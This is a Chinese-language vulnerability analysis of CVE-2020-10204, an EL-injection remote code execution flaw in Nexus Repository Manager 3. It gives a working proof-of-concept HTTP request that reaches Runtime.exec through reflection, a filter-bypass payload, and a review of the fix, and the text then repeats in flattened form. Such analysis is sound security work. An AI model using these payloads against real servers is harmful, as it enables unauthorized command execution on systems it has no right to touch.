CVE-2020-10204 Nexus Repository Manager 3-远程执行代码漏洞分析
字数 1090 2025-08-25 22:58:34

CVE-2020-10204 Nexus Repository Manager 3 远程代码执行漏洞分析

漏洞概述

CVE-2020-10204是Sonatype Nexus Repository Manager 3中的一个远程代码执行漏洞,影响所有3.x版本(最高至3.21.1)。该漏洞允许攻击者通过构造特定的EL表达式实现任意代码执行。

影响版本

  • 所有Nexus Repository Manager 3.x OSS/Pro版本,最高至3.21.1
  • 修复版本:3.21.2及以上

漏洞原理

该漏洞源于Nexus Repository Manager对用户输入中的EL表达式处理不当,导致攻击者可以通过构造特殊的EL表达式绕过安全限制,实现远程代码执行。

关键点分析

  1. EL表达式注入:系统在处理用户输入时未正确过滤EL表达式,特别是${}形式的表达式。

  2. 绕过机制:通过添加\A\X等前缀可以绕过原有的表达式过滤机制:

    $\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch /tmp/sssss')}
    
  3. 漏洞触发点:主要存在于以下接口:

    • 用户管理接口(如创建/更新用户)
    • 角色管理接口

环境搭建

  1. 拉取漏洞版本Docker镜像:

    docker pull sonatype/nexus3:3.21.1
    
  2. 修改启动项以启用调试:

    # 修改/opt/sonatype/nexus/bin/nexus文件
    # 在java命令后添加调试参数:
    -Xdebug -server -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8888
    
  3. 下载源码并配置远程调试:

    git clone https://github.com/sonatype/nexus-public
    

漏洞利用

利用POC

通过用户管理接口触发漏洞:

POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/json
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 0.029301195082771514
Content-Length: 350

{
  "action":"coreui_User",
  "method":"create",
  "data":[{
    "userId":"3",
    "version":"",
    "firstName":"test",
    "lastName":"test",
    "email":"test@test.com",
    "status":"active",
    "roles":["$\\X{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch /tmp/rce')}"],
    "password":"admin"
  }],
  "type":"rpc",
  "tid":33
}

执行流程

  1. 系统接收到包含特殊构造的EL表达式的请求
  2. 表达式绕过过滤机制后被解析执行
  3. 通过Java反射机制调用Runtime.exec()执行任意命令

修复分析

修复方式

  1. 代码层面:在ValidationModule.java中配置使用ParameterMessageInterpolator替代原有的消息插值器:

    bind(MessageInterpolator.class).to(ParameterMessageInterpolator.class);
    
  2. 安全机制

    • ParameterMessageInterpolator会检测EL表达式并以警告形式直接返回,不再解析
    • 即使绕过过滤,表达式也不会被执行

修复验证

在3.21.2版本中:

  1. 检测到以$开头的表达式时直接返回警告
  2. 不再进行表达式解析和执行

总结

该漏洞展示了EL表达式注入的典型风险,以及安全防护需要多层防御的重要性。修复方案通过更换消息插值器从根本上解决了问题,而非仅依赖输入过滤。

参考链接

  • 官方通告:https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
  • Nexus源码:https://github.com/sonatype/nexus-public
CVE-2020-10204 Nexus Repository Manager 3 远程代码执行漏洞分析 漏洞概述 CVE-2020-10204是Sonatype Nexus Repository Manager 3中的一个远程代码执行漏洞,影响所有3.x版本(最高至3.21.1)。该漏洞允许攻击者通过构造特定的EL表达式实现任意代码执行。 影响版本 所有Nexus Repository Manager 3.x OSS/Pro版本,最高至3.21.1 修复版本:3.21.2及以上 漏洞原理 该漏洞源于Nexus Repository Manager对用户输入中的EL表达式处理不当,导致攻击者可以通过构造特殊的EL表达式绕过安全限制,实现远程代码执行。 关键点分析 EL表达式注入 :系统在处理用户输入时未正确过滤EL表达式,特别是 ${} 形式的表达式。 绕过机制 :通过添加 \A 或 \X 等前缀可以绕过原有的表达式过滤机制: 漏洞触发点 :主要存在于以下接口: 用户管理接口(如创建/更新用户) 角色管理接口 环境搭建 拉取漏洞版本Docker镜像: 修改启动项以启用调试: 下载源码并配置远程调试: 漏洞利用 利用POC 通过用户管理接口触发漏洞: 执行流程 系统接收到包含特殊构造的EL表达式的请求 表达式绕过过滤机制后被解析执行 通过Java反射机制调用Runtime.exec()执行任意命令 修复分析 修复方式 代码层面 :在 ValidationModule.java 中配置使用 ParameterMessageInterpolator 替代原有的消息插值器: 安全机制 : ParameterMessageInterpolator 会检测EL表达式并以警告形式直接返回,不再解析 即使绕过过滤,表达式也不会被执行 修复验证 在3.21.2版本中: 检测到以 $ 开头的表达式时直接返回警告 不再进行表达式解析和执行 总结 该漏洞展示了EL表达式注入的典型风险,以及安全防护需要多层防御的重要性。修复方案通过更换消息插值器从根本上解决了问题,而非仅依赖输入过滤。 参考链接 官方通告:https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31 Nexus源码:https://github.com/sonatype/nexus-public